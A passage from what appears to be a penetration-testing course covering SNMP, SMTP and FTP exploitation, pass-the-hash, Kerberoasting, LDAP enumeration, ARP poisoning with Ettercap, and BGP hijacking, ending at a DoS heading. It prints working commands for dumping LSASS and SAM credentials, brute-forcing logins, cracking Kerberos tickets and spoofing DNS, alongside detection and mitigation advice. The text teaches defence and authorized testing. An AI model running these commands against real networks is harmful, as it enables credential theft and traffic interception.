  5.1.7 SNMP Exploits
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SNMP Architecture and Security Model
&lt;/h3&gt;

&lt;p&gt;SNMP (Simple Network Management Protocol) is the standard protocol for network device monitoring and management. Network administrators use SNMP to collect performance metrics, configuration data, and operational status from routers, switches, printers, servers, and virtually any network-connected device. SNMP operates on UDP port 161 for queries and UDP port 162 for traps (unsolicited notifications from devices).&lt;/p&gt;

&lt;p&gt;The MIB (Management Information Base) is a hierarchical database structure that organizes all the information a device exposes via SNMP. Each piece of information has an OID (Object Identifier) — a dotted-decimal identifier like 1.3.6.1.2.1.1.1.0 that uniquely identifies that specific data point. The OID 1.3.6.1.2.1.1.1.0 is the sysDescr — the system description string that typically reveals the device model and operating system.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Authentication Problem in SNMPv1 and SNMPv2c
&lt;/h3&gt;

&lt;p&gt;SNMPv1 and SNMPv2c use "community strings" for authentication — essentially plaintext passwords that are included in every SNMP packet. There are conventionally two community strings: the read community string (allowing read-only access to the MIB) and the write community string (allowing modification of device configuration).&lt;/p&gt;

&lt;p&gt;The universal default values — "public" for read access and "private" for write access — are so widely known and so frequently left unchanged that they represent one of the most reliable attack vectors in network penetration testing. A significant proportion of network infrastructure in real-world enterprise environments — routers, switches, printers, environmental sensors, UPS devices — still uses default SNMP community strings decades after the vulnerabilities were first documented.&lt;/p&gt;

&lt;p&gt;With read access via SNMP, an attacker can enumerate: the complete routing table (revealing internal network topology), the ARP cache (revealing active hosts and their MAC addresses), the interface table (revealing all network interfaces and their configurations), the list of running processes on SNMP-enabled servers, installed software on Windows systems via SNMP extensions, and device configurations on network equipment.&lt;/p&gt;

&lt;p&gt;Write access via SNMP is catastrophically worse — it allows modification of device configurations. On routers and switches, SNMP write access has been used to change routing tables, modify ACLs, and alter spanning tree configurations.&lt;/p&gt;

&lt;h3&gt;
  
  
  SNMPv3 and Its Security Improvements
&lt;/h3&gt;

&lt;p&gt;SNMPv3 introduced proper authentication (HMAC-MD5 or HMAC-SHA) and privacy (encryption via DES or AES). When properly configured, SNMPv3 addresses the authentication weaknesses of earlier versions. However, SNMPv3 adoption remains incomplete — many devices do not support it, many network teams have not migrated, and many deployments use SNMPv3 without enabling privacy (encryption), meaning traffic is still readable even if authentication is secure.&lt;/p&gt;

&lt;h3&gt;
  
  
  SNMP Enumeration Tools
&lt;/h3&gt;

&lt;p&gt;snmpwalk is the primary tool for SNMP enumeration, traversing the entire MIB tree from a starting OID: &lt;code&gt;snmpwalk -v2c -c public &amp;lt;target_ip&amp;gt;&lt;/code&gt; dumps the entire MIB using SNMPv2c with community string "public."&lt;/p&gt;

&lt;p&gt;snmp-check is a more user-friendly tool that formats SNMP data into organized sections: &lt;code&gt;snmp-check -c public &amp;lt;target_ip&amp;gt;&lt;/code&gt; returns system information, network interfaces, routing tables, TCP connections, and process lists in readable format.&lt;/p&gt;

&lt;p&gt;Nmap's SNMP NSE scripts provide targeted enumeration: &lt;code&gt;nmap -sU -p 161 --script snmp-info,snmp-interfaces,snmp-netstat,snmp-processes &amp;lt;target&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Brute-Forcing SNMP Community Strings
&lt;/h3&gt;

&lt;p&gt;When the default community strings do not work, brute-forcing with a wordlist is often effective because organizations frequently use simple, guessable community strings. onesixtyone is a fast SNMP scanner and community string brute-forcer: &lt;code&gt;onesixtyone -c community_strings.txt &amp;lt;target_ip&amp;gt;&lt;/code&gt;. Hydra also supports SNMP: &lt;code&gt;hydra -P /usr/share/wordlists/rockyou.txt &amp;lt;target&amp;gt; snmp&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.8 SMTP Exploits
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The SMTP Protocol
&lt;/h3&gt;

&lt;p&gt;SMTP (Simple Mail Transfer Protocol) is the standard protocol for sending email, operating on TCP port 25 (server-to-server), TCP port 587 (client-to-server with authentication, called submission), and historically TCP port 465 (SMTPS, implicit TLS). SMTP is a text-based protocol — commands are plaintext ASCII strings, making it easy to interact with manually using telnet or netcat.&lt;/p&gt;

&lt;p&gt;SMTP's design predates modern security thinking. The original protocol had no authentication, no encryption, and no verification of sender identity. While modern SMTP deployments add authentication (SMTP AUTH), TLS encryption, and sender verification mechanisms (SPF, DKIM, DMARC), many deployments remain misconfigured, and legacy servers still lack proper controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMTP User Enumeration
&lt;/h3&gt;

&lt;p&gt;Two SMTP commands enable user enumeration on misconfigured mail servers: VRFY and EXPN.&lt;/p&gt;

&lt;p&gt;The VRFY command asks the mail server to verify whether a given email address or username exists: &lt;code&gt;VRFY administrator&lt;/code&gt; returns either a positive response confirming the user exists or a negative response. On properly configured servers, VRFY is disabled. On misconfigured servers, it returns valid vs. invalid user status, allowing an attacker to build a valid username list by iterating through potential names.&lt;/p&gt;

&lt;p&gt;The EXPN command expands a mailing list alias, revealing all members: &lt;code&gt;EXPN staff&lt;/code&gt; might return a list of all email addresses in the staff mailing list. This is even more useful for enumeration as it can reveal user accounts that might not be guessable.&lt;/p&gt;

&lt;p&gt;The RCPT TO command can also be used for enumeration — sending a test message to a recipient address and observing whether the server returns a "550 User unknown" error (user does not exist) versus accepting the message. This works even on servers that have disabled VRFY and EXPN.&lt;/p&gt;

&lt;h3&gt;
  
  
  Open Relay Exploitation
&lt;/h3&gt;

&lt;p&gt;An SMTP open relay is a mail server that allows anyone to send email through it to any destination — it does not restrict who can send mail or to where. Open relays were common in the early internet era and are now recognized as a critical misconfiguration because they enable spam sending and phishing at scale.&lt;/p&gt;

&lt;p&gt;Testing for open relay: connect to the SMTP server and attempt to send a message with a from address at a different domain than the server manages and a recipient at yet another domain. If the server accepts this (returns "250 OK" rather than rejecting it), it is an open relay.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMTP Authentication Attacks
&lt;/h3&gt;

&lt;p&gt;Modern SMTP servers require AUTH LOGIN or AUTH PLAIN authentication before accepting email from clients. These authentication mechanisms can be brute-forced: &lt;code&gt;hydra -l admin@target.com -P /usr/share/wordlists/rockyou.txt smtp://&amp;lt;target&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;SMTP credentials captured in network traffic (when TLS is not used) or through LLMNR/NBT-NS poisoning can be used directly to authenticate to the mail server and send email as legitimate users — enabling sophisticated phishing campaigns that originate from trusted internal addresses.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.9 Practice — SMTP Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Manual SMTP Interaction
&lt;/h3&gt;

&lt;p&gt;Understanding SMTP at the command level is essential for security professionals because it enables direct interaction with mail servers for testing without automated tools. Connect to an SMTP server using netcat: &lt;code&gt;nc &amp;lt;target_ip&amp;gt; 25&lt;/code&gt;. The server responds with a banner identifying itself. Send &lt;code&gt;EHLO attacker.com&lt;/code&gt; to initiate the session and receive the list of supported extensions (AUTH methods, SIZE limits, STARTTLS availability).&lt;/p&gt;

&lt;p&gt;A complete manual email sending session: EHLO identifies the sender's domain. MAIL FROM establishes the envelope sender. RCPT TO establishes the recipient. DATA begins the message body (terminated with a period on a line by itself). QUIT ends the session.&lt;/p&gt;

&lt;p&gt;Testing VRFY: after EHLO, type &lt;code&gt;VRFY administrator&lt;/code&gt; and observe the response. A 252 response means the server cannot verify but will accept delivery (not useful for enumeration). A 550 response means the user does not exist. A 250 response with the full email address means the user exists and VRFY is enabled.&lt;/p&gt;

&lt;h3&gt;
  
  
  Automated SMTP Enumeration
&lt;/h3&gt;

&lt;p&gt;smtp-user-enum is a specialized tool for SMTP user enumeration: &lt;code&gt;smtp-user-enum -M VRFY -U userlist.txt -t &amp;lt;target&amp;gt;&lt;/code&gt; tests each username in the list using the VRFY method. The &lt;code&gt;-M&lt;/code&gt; flag accepts VRFY, EXPN, or RCPT to specify the enumeration method.&lt;/p&gt;

&lt;p&gt;Metasploit includes the smtp_enum auxiliary module: &lt;code&gt;use auxiliary/scanner/smtp/smtp_enum&lt;/code&gt;, set RHOSTS to the target, RPORT to 25, and USER_FILE to a username wordlist, then run.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.10 FTP Exploits
&lt;/h2&gt;

&lt;h3&gt;
  
  
  FTP Security Weaknesses
&lt;/h3&gt;

&lt;p&gt;FTP (File Transfer Protocol) was designed in 1971 with no security whatsoever. It transmits all data — including usernames, passwords, and file contents — in plaintext. It operates on two TCP ports simultaneously: port 21 for the control connection (commands and responses) and a dynamically assigned port for data transfer (active mode uses port 20 from the server, passive mode uses a negotiated high port).&lt;/p&gt;

&lt;p&gt;The complete absence of encryption is the defining security characteristic of FTP. Any attacker with a man-in-the-middle position on the network can capture FTP credentials and all transferred file contents in plaintext. Wireshark captures FTP traffic trivially — credentials appear in clear text in the control channel.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anonymous FTP Access
&lt;/h3&gt;

&lt;p&gt;Many FTP servers are configured to allow anonymous authentication — login with username "anonymous" and any email address as the password (traditionally). Anonymous FTP was designed for public file distribution but is frequently misconfigured to allow write access or to expose sensitive directories.&lt;/p&gt;

&lt;p&gt;Testing anonymous access: &lt;code&gt;ftp &amp;lt;target_ip&amp;gt;&lt;/code&gt;, enter "anonymous" as the username and any string as the password. If accepted, enumerate accessible directories with &lt;code&gt;ls -la&lt;/code&gt; and download interesting files with &lt;code&gt;get filename&lt;/code&gt;. The ability to write files to an FTP server can enable web shell deployment if the FTP directory overlaps with a web server's document root.&lt;/p&gt;

&lt;h3&gt;
  
  
  FTP Bounce Attacks
&lt;/h3&gt;

&lt;p&gt;The FTP PORT command in active mode specifies the IP address and port where the server should send data. By specifying a third-party host's IP and an interesting port, an attacker can use the FTP server as a proxy to scan other hosts — the FTP server initiates connections to the specified destinations, appearing as the originating source. This can be used to bypass firewall rules and scan internal network services from a position inside a firewall. Most modern FTP servers restrict PORT commands to the client's own IP address to prevent bounce attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  FTP Vulnerability Exploitation
&lt;/h3&gt;

&lt;p&gt;Beyond configuration weaknesses, specific FTP server software versions have had critical vulnerabilities. The ProFTPD 1.3.3c backdoor (CVE-2010-4221) is a classic example: a compromised version of ProFTPD was distributed that included a backdoor triggered by specific input. Metasploit includes the &lt;code&gt;exploit/unix/ftp/proftpd_133c_backdoor&lt;/code&gt; module for this.&lt;/p&gt;

&lt;p&gt;vsftpd 2.3.4, another widely-deployed FTP server, had a backdoor introduced in a compromised source package (CVE-2011-2523) that opened a root shell on port 6200 when a smiley face ":)" was appended to the username during login. This is a standard exercise in Metasploit labs.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.11 Pass-the-Hash Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Understanding NTLM Authentication
&lt;/h3&gt;

&lt;p&gt;To understand Pass-the-Hash, you must first understand how Windows NTLM authentication works. When a Windows user logs in, their password is never stored as plaintext — instead, Windows stores the NTLM hash (an MD4 hash of the UTF-16 encoded password) in the SAM database (for local accounts) or the NTDS.DIT database (for domain accounts).&lt;/p&gt;

&lt;p&gt;When a user authenticates to a network resource using NTLM, the authentication process is a challenge-response mechanism: the client sends a negotiation message identifying its capabilities, the server responds with a challenge (a random 8-byte value), and the client responds by hashing the NTLM hash with the challenge using the HMAC-MD5 function. The server verifies this response by performing the same calculation with the stored hash. Crucially, the actual password is never transmitted — only the hash response to a challenge.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack
&lt;/h3&gt;

&lt;p&gt;Pass-the-Hash exploits a critical design characteristic: Windows NTLM authentication uses the password hash as the authentication secret, not the password itself. If an attacker obtains the NTLM hash (from a memory dump of LSASS, from the SAM database, from a domain controller's NTDS.DIT), they can use that hash directly to authenticate — without ever knowing the actual password.&lt;/p&gt;

&lt;p&gt;The classic tool for Pass-the-Hash is the Mimikatz suite, specifically its &lt;code&gt;sekurlsa::pth&lt;/code&gt; command: &lt;code&gt;sekurlsa::pth /user:Administrator /domain:CORP /ntlm:&amp;lt;hash&amp;gt; /run:cmd.exe&lt;/code&gt;. This spawns a command prompt authenticated as the specified user using the provided hash.&lt;/p&gt;

&lt;p&gt;Additionally, the Impacket suite's psexec.py, smbexec.py, and wmiexec.py all support NTLM hash authentication directly: &lt;code&gt;python3 psexec.py -hashes :NTLMhash DOMAIN/Administrator@&amp;lt;target_ip&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hash Harvesting Sources
&lt;/h3&gt;

&lt;p&gt;Before Pass-the-Hash, the hashes must be obtained. The primary sources are LSASS memory (where Windows caches credential information of logged-in users), the local SAM database (containing local account hashes), and the domain's NTDS.DIT file (containing all domain account hashes).&lt;/p&gt;

&lt;p&gt;Extracting from LSASS with Mimikatz: &lt;code&gt;privilege::debug&lt;/code&gt; then &lt;code&gt;sekurlsa::logonpasswords&lt;/code&gt; dumps all credentials from LSASS memory. This requires administrative privileges on the target system.&lt;/p&gt;

&lt;p&gt;Extracting the SAM database: &lt;code&gt;reg save HKLM\SAM sam.save&lt;/code&gt; and &lt;code&gt;reg save HKLM\SYSTEM system.save&lt;/code&gt; saves the SAM and SYSTEM hive, which can then be processed with secretsdump.py: &lt;code&gt;python3 secretsdump.py -sam sam.save -system system.save LOCAL&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass-the-Hash Detection and Mitigation
&lt;/h3&gt;

&lt;p&gt;Detecting Pass-the-Hash relies on identifying authentication events where the workstation name, source IP, or behavior pattern indicates credential abuse. Windows event logs (specifically Event ID 4624 for successful logon and Event ID 4625 for failed logon) record authentication events, and anomalies like a user authenticating from an unexpected workstation are indicators.&lt;/p&gt;

&lt;p&gt;Mitigations include enabling Windows Credential Guard (which uses virtualization-based security to protect LSASS from memory dumping), implementing Protected Users security groups (which disables NTLM for group members), restricting administrative access (reducing the number of accounts whose hashes are worth stealing), and enforcing SMB signing to prevent relay of captured hashes.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.12 Kerberos and LDAP-Based Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Kerberos Architecture
&lt;/h3&gt;

&lt;p&gt;Kerberos is the default authentication protocol for Active Directory environments. Understanding its architecture is essential because multiple attacks in this and the following section target specific components of the Kerberos process.&lt;/p&gt;

&lt;p&gt;Kerberos authentication involves three parties: the client (the user or computer requesting access), the KDC (Key Distribution Center, running on the domain controller), and the service (the resource the client wants to access). The KDC consists of two logical services: the Authentication Service (AS) and the Ticket Granting Service (TGS).&lt;/p&gt;

&lt;p&gt;The Kerberos flow works as follows. The client sends an AS-REQ (Authentication Service Request) to the KDC requesting a TGT (Ticket Granting Ticket). The KDC's AS component verifies the client's identity (using a pre-authentication value encrypted with the client's password hash) and issues a TGT encrypted with the KDC's secret key (the krbtgt account's NTLM hash). The client now holds a TGT that proves their identity to the KDC without re-entering their password.&lt;/p&gt;

&lt;p&gt;When the client wants to access a specific service, they send a TGS-REQ (Ticket Granting Service Request) to the KDC's TGS component, presenting their TGT and requesting a service ticket for the specific service. The TGS verifies the TGT and issues a service ticket encrypted with the service account's NTLM hash. The client presents this service ticket to the actual service to authenticate.&lt;/p&gt;

&lt;h3&gt;
  
  
  AS-REP Roasting
&lt;/h3&gt;

&lt;p&gt;AS-REP Roasting targets accounts configured with the "Do not require Kerberos preauthentication" attribute. Normally, Kerberos requires the client to prove knowledge of their password before the KDC will issue a TGT — this is preauthentication. When preauthentication is disabled for an account, anyone can request a TGT for that account without knowing the password. The KDC responds with an AS-REP that contains a portion encrypted with the user's password hash.&lt;/p&gt;

&lt;p&gt;This encrypted portion can be taken offline and cracked using Hashcat (mode 18200 for AS-REP hashes). The tool GetNPUsers.py from Impacket enumerates accounts without preauthentication and requests their AS-REPs: &lt;code&gt;python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip &amp;lt;DC_IP&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  LDAP Enumeration and Attacks
&lt;/h3&gt;

&lt;p&gt;LDAP (Lightweight Directory Access Protocol) is the protocol used to query and modify Active Directory. It operates on TCP port 389 (unencrypted) and TCP port 636 (LDAPS, TLS-protected). LDAP queries are the mechanism through which all Active Directory information is accessed — user lists, group memberships, computer objects, GPO settings, and trust relationships.&lt;/p&gt;

&lt;p&gt;In many default Active Directory configurations, authenticated domain users can query extensive Active Directory information via LDAP. After obtaining any valid domain credential (even a low-privilege user account), an attacker can use LDAP queries to enumerate the complete domain structure.&lt;/p&gt;

&lt;p&gt;ldapdomaindump automates LDAP enumeration and outputs results in HTML, JSON, and grep-able formats: &lt;code&gt;python3 ldapdomaindump.py -u 'DOMAIN\user' -p 'password' &amp;lt;DC_IP&amp;gt;&lt;/code&gt;. BloodHound, the most powerful Active Directory attack path mapping tool, collects LDAP data using SharpHound (or its Python equivalent) and visualizes it as a graph showing all possible privilege escalation paths from any user to Domain Admin.&lt;/p&gt;

&lt;h3&gt;
  
  
  LDAP Null Bind and Anonymous Authentication
&lt;/h3&gt;

&lt;p&gt;Some LDAP implementations allow null bind authentication — connecting without credentials. Older Active Directory deployments and many LDAP implementations (OpenLDAP, Novell eDirectory) may allow anonymous read access to portions of the directory tree. Testing for null bind: &lt;code&gt;ldapsearch -x -H ldap://&amp;lt;target&amp;gt; -b "dc=domain,dc=com"&lt;/code&gt;. If results return without credentials, anonymous LDAP access is enabled.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.13 Kerberoasting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Concept
&lt;/h3&gt;

&lt;p&gt;Kerberoasting is one of the most impactful and widely used Active Directory attack techniques. It exploits a fundamental characteristic of Kerberos service tickets: any authenticated domain user can request a service ticket for any service registered in Active Directory, and that service ticket is encrypted with the service account's NTLM hash.&lt;/p&gt;

&lt;p&gt;When a service is registered in Active Directory, its account is associated with an SPN (Service Principal Name) — an identifier like MSSQLSvc/dbserver.corp.local:1433 that ties the SQL Server service to its service account. Any domain user can request a Kerberos service ticket for any SPN without any special permissions. The resulting service ticket is encrypted with the NTLM hash of the account that owns that SPN.&lt;/p&gt;

&lt;p&gt;The attacker requests service tickets for accounts with SPNs and takes those tickets offline for cracking. Because the tickets are encrypted with the service account's password hash, cracking them reveals the service account's plaintext password. Service accounts in many organizations have weak passwords, never expire, and are highly privileged — making Kerberoasting extraordinarily effective.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Service Accounts Are Vulnerable
&lt;/h3&gt;

&lt;p&gt;Service accounts are created to run services (SQL Server, IIS, scheduled tasks, etc.) and are often configured with highly privileged access. They are also often excluded from standard password policies, have passwords that never expire, and are managed by application teams rather than security teams. The combination of high privilege, weak passwords, and infrequent rotation makes service accounts ideal Kerberoasting targets.&lt;/p&gt;

&lt;h3&gt;
  
  
  Executing Kerberoasting
&lt;/h3&gt;

&lt;p&gt;GetUserSPNs.py from Impacket requests service tickets for all accounts with SPNs: &lt;code&gt;python3 GetUserSPNs.py DOMAIN/user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request&lt;/code&gt;. This outputs Kerberos 5 TGS-REP hashes formatted for Hashcat cracking.&lt;/p&gt;

&lt;p&gt;In PowerShell from a domain-joined machine: &lt;code&gt;Invoke-Kerberoast&lt;/code&gt; from PowerSploit or &lt;code&gt;rubeus.exe kerberoast&lt;/code&gt; from Rubeus enumerate SPNs and request tickets.&lt;/p&gt;

&lt;p&gt;Cracking with Hashcat using mode 13100 (Kerberos 5, etype 23 TGS-REP): &lt;code&gt;hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;. With a comprehensive wordlist and rule set, weak service account passwords often crack in minutes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense Against Kerberoasting
&lt;/h3&gt;

&lt;p&gt;The primary defense is ensuring service account passwords are long (25+ characters), random, and regularly rotated. Microsoft's GMSA (Group Managed Service Accounts) automatically manages service account passwords — setting them to 240-character random values and rotating them automatically, making Kerberoasting cryptographically infeasible against GMSA accounts.&lt;/p&gt;

&lt;p&gt;Monitoring for unusual Kerberos TGS-REQ activity — a single account requesting tickets for many SPNs in a short period — provides detection capability. Windows event ID 4769 (Kerberos Service Ticket Request) with RC4 encryption type (0x17) is a high-fidelity indicator of Kerberoasting, as modern Kerberos uses AES encryption by default and RC4 requests indicate downgrade attacks typical of Kerberoasting tools.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.14 On-Path Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Definition and Positioning
&lt;/h3&gt;

&lt;p&gt;On-path attacks (historically called man-in-the-middle or MITM attacks) involve an attacker positioning themselves between two communicating parties such that all traffic between them passes through the attacker. From this position, the attacker can passively capture all traffic, actively modify traffic in transit, or selectively inject or suppress packets.&lt;/p&gt;

&lt;p&gt;Achieving an on-path position on a switched Ethernet network requires actively manipulating network protocol behavior — the switch normally prevents this by directing frames only to the correct destination port. The primary techniques for establishing an on-path position are ARP poisoning, DHCP manipulation (covered in 5.1.23), and DNS manipulation (covered in 5.1.5).&lt;/p&gt;

&lt;h3&gt;
  
  
  ARP Poisoning — The Foundation of LAN On-Path Attacks
&lt;/h3&gt;

&lt;p&gt;ARP (Address Resolution Protocol) maps IP addresses to MAC addresses at Layer 2. When a device needs to send a packet to an IP address on the same local network, it broadcasts an ARP request asking "Who has IP x.x.x.x? Tell me your MAC address." The device with that IP responds with its MAC address, and the requesting device caches this mapping in its ARP table.&lt;/p&gt;

&lt;p&gt;ARP has no authentication and no verification mechanism. Any device can send an unsolicited ARP reply claiming any IP-to-MAC mapping, and receivers will update their ARP cache accordingly. This is called a gratuitous ARP reply, and it is the mechanism ARP poisoning exploits.&lt;/p&gt;

&lt;p&gt;To establish an on-path position between victim A (IP: 192.168.1.10) and their router (IP: 192.168.1.1), the attacker sends two continuous streams of forged ARP replies: to victim A, saying "192.168.1.1 is at [attacker's MAC]," and to the router, saying "192.168.1.10 is at [attacker's MAC]." Both victim and router update their ARP caches with the attacker's MAC address for each other's IP. Now all traffic from A to the router and from the router to A passes through the attacker's machine, which must be configured to forward packets (IP forwarding enabled) to maintain the connection while intercepting traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  SSL Stripping
&lt;/h3&gt;

&lt;p&gt;With an on-path position established, the attacker faces a significant obstacle: HTTPS traffic is encrypted with TLS, making content interception impossible even with a MITM position. SSL stripping is a technique that downgrades HTTPS connections to HTTP.&lt;/p&gt;

&lt;p&gt;The attack works by intercepting the victim's initial HTTP request to a website, performing the HTTPS connection to the server on behalf of the victim, and then serving the content back to the victim over HTTP (unencrypted). The victim receives what appears to be a normal website but over an unencrypted connection, allowing the attacker to see all traffic including credentials.&lt;/p&gt;

&lt;p&gt;SSL stripping is mitigated by HSTS (HTTP Strict Transport Security), a policy mechanism that instructs browsers to always use HTTPS for a domain and refuse HTTP connections. However, HSTS only protects users who have previously visited a site (the HSTS policy is delivered via HTTP response header and cached by the browser) — first-time visitors and users who clear their browser cache are still vulnerable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools for On-Path Attacks
&lt;/h3&gt;

&lt;p&gt;Ettercap is the classic tool for ARP poisoning and on-path attacks, combining ARP poisoning, traffic capture, protocol dissection, and plugin-based attacks: &lt;code&gt;ettercap -T -i eth0 -M arp:remote /victim_ip/ /router_ip/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Bettercap is the modern, more capable successor to Ettercap: &lt;code&gt;bettercap -iface eth0&lt;/code&gt;, then within the interactive console: &lt;code&gt;net.probe on&lt;/code&gt; to discover hosts, &lt;code&gt;arp.spoof.targets &amp;lt;victim_ip&amp;gt;&lt;/code&gt;, &lt;code&gt;arp.spoof on&lt;/code&gt; to start poisoning, &lt;code&gt;net.sniff on&lt;/code&gt; to capture traffic.&lt;/p&gt;

&lt;p&gt;MITMf (Man-in-the-Middle Framework) combines ARP poisoning with numerous attack plugins including SSL stripping, credential capture, and JavaScript injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.15 Practice — Kerberos, LDAP, and On-Path Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Building an Active Directory Lab
&lt;/h3&gt;

&lt;p&gt;Practicing Kerberos and LDAP attacks requires an Active Directory lab environment. The minimal setup includes one Windows Server VM configured as a domain controller and one Windows 10 client VM joined to the domain.&lt;/p&gt;

&lt;p&gt;Setting up the domain controller: install Windows Server 2019 (evaluation version available free from Microsoft), run &lt;code&gt;Install-WindowsFeature AD-Domain-Services&lt;/code&gt; in PowerShell, then &lt;code&gt;Install-ADDSForest -DomainName "corp.local"&lt;/code&gt; to create the domain. Create test user accounts with varying privilege levels and configure some accounts with SPNs for Kerberoasting practice.&lt;/p&gt;

&lt;p&gt;From Kali, the Impacket suite provides all necessary tools for attacking this lab environment without needing to be domain-joined.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practicing BloodHound
&lt;/h3&gt;

&lt;p&gt;BloodHound is the most important tool for understanding Active Directory attack paths. Install it on Kali with &lt;code&gt;apt install bloodhound&lt;/code&gt;, set up the neo4j database with &lt;code&gt;neo4j start&lt;/code&gt;, then access the BloodHound GUI.&lt;/p&gt;

&lt;p&gt;Collect data with the Python BloodHound collector: &lt;code&gt;python3 bloodhound-python -u user -p password -d corp.local -ns &amp;lt;DC_IP&amp;gt; -c All&lt;/code&gt;. This produces JSON files containing all AD objects and their relationships. Import these into BloodHound and use the built-in queries to find "Shortest Path to Domain Admins" — which visually displays every attack path from the current user to Domain Admin.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.16 Lab — On-Path Attacks with Ettercap
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Ettercap Configuration and Execution
&lt;/h3&gt;

&lt;p&gt;Ettercap is pre-installed on Kali Linux. Before running it, enable IP forwarding to ensure intercepted traffic continues flowing to its destination: &lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Launch Ettercap in graphical mode: &lt;code&gt;ettercap -G&lt;/code&gt;. Select the network interface. Go to Hosts → Scan for Hosts to discover all devices on the network segment. Open the Host List, add the victim's IP to Target 1 and the router's IP to Target 2. Go to Mitm → ARP Poisoning, check "Sniff remote connections," click OK. Go to Start → Start Sniffing.&lt;/p&gt;

&lt;p&gt;Ettercap will now intercept all traffic between the victim and the router, displaying captured credentials and protocol information in real time.&lt;/p&gt;

&lt;h3&gt;
  
  
  DNS Spoofing with Ettercap's Plugin
&lt;/h3&gt;

&lt;p&gt;Ettercap includes a dns_spoof plugin that intercepts DNS queries from poisoned victims and returns forged responses. Configure the plugin by editing /etc/ettercap/etter.dns and adding entries like &lt;code&gt;*.targetsite.com A 192.168.1.100&lt;/code&gt; (where 192.168.1.100 is the attacker's IP running a fake web server). Activate the plugin in Ettercap: Plugins → Manage Plugins → dns_spoof → double-click to activate.&lt;/p&gt;

&lt;p&gt;Now when the victim attempts to visit targetsite.com, their DNS query is intercepted and the attacker's IP is returned, loading the attacker's fake site instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.17 Route Manipulation Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  BGP Hijacking
&lt;/h3&gt;

&lt;p&gt;BGP (Border Gateway Protocol) is the routing protocol that manages how packets travel across the internet, determining paths between Autonomous Systems (ASes) — the large network blocks operated by ISPs, cloud providers, and large organizations. BGP's design assumes trust between AS peers: when one AS announces that it owns a block of IP addresses, other ASes believe it and update their routing tables accordingly.&lt;/p&gt;

&lt;p&gt;BGP hijacking occurs when an AS announces ownership of IP address space that belongs to another AS. All BGP routers that receive this announcement and find it matches or is more specific than their current route will redirect traffic destined for those addresses to the hijacking AS. The attacker can then intercept, inspect, or blackhole that traffic.&lt;/p&gt;

&lt;p&gt;The most famous BGP hijacking incidents include the 2010 China Telecom incident where Chinese routing tables briefly captured 15% of internet traffic, the 2008 Pakistan Telecom YouTube blackout (intentional route leak that took YouTube offline globally for hours), and the 2018 Amazon Route 53 BGP hijack used to steal cryptocurrency.&lt;/p&gt;

&lt;p&gt;BGP hijacking at the AS level requires control of BGP-speaking infrastructure — a significant barrier. However, BGP misconfigurations within organizational networks (route leaks) can occur without deliberate malice and have been weaponized by sophisticated attackers with access to network infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  OSPF and Internal Routing Protocol Attacks
&lt;/h3&gt;

&lt;p&gt;Within large enterprise networks, OSPF (Open Shortest Path First) is commonly used as the internal routing protocol. OSPF uses a link-state algorithm where all routers share topology information and independently calculate the shortest paths. An attacker with access to a network segment where OSPF hellos are transmitted can potentially inject fraudulent OSPF LSAs (Link State Advertisements) to manipulate routing tables — redirecting traffic through attacker-controlled paths.&lt;/p&gt;

&lt;p&gt;This requires sending valid OSPF packets, which requires knowledge of the OSPF area ID and authentication (MD5 authentication is common but not universal). Scapy can craft custom OSPF packets for protocol-level attacks in authorized testing scenarios.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.18 DoS and DDoS Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Denial of Service — The Concept
&lt;/h3&gt;

&lt;p&gt;A Denial of Service (DoS) attack aims to make a system, service, or network resource unavailable to legitimate users. Unlike other attacks in this module that aim for unauthorized access, DoS attacks aim for unavailability. The impact can be direct financial loss (e-commerce downtime), reputational damage, or used as a distraction while another attack proceeds undetected.&lt;/p&gt;

&lt;p&gt;DoS attacks work by exhausting one of three limited resources: bandwidth (flooding the target's network connection), computational resources (overwhelming the CPU or memory), or state (exhausting connection tracking tables or session state).&lt;/p&gt;

&lt;h3&gt;
  
  
  SYN Flood — Exploiting TCP's Three-Way Handshake
&lt;/h3&gt;

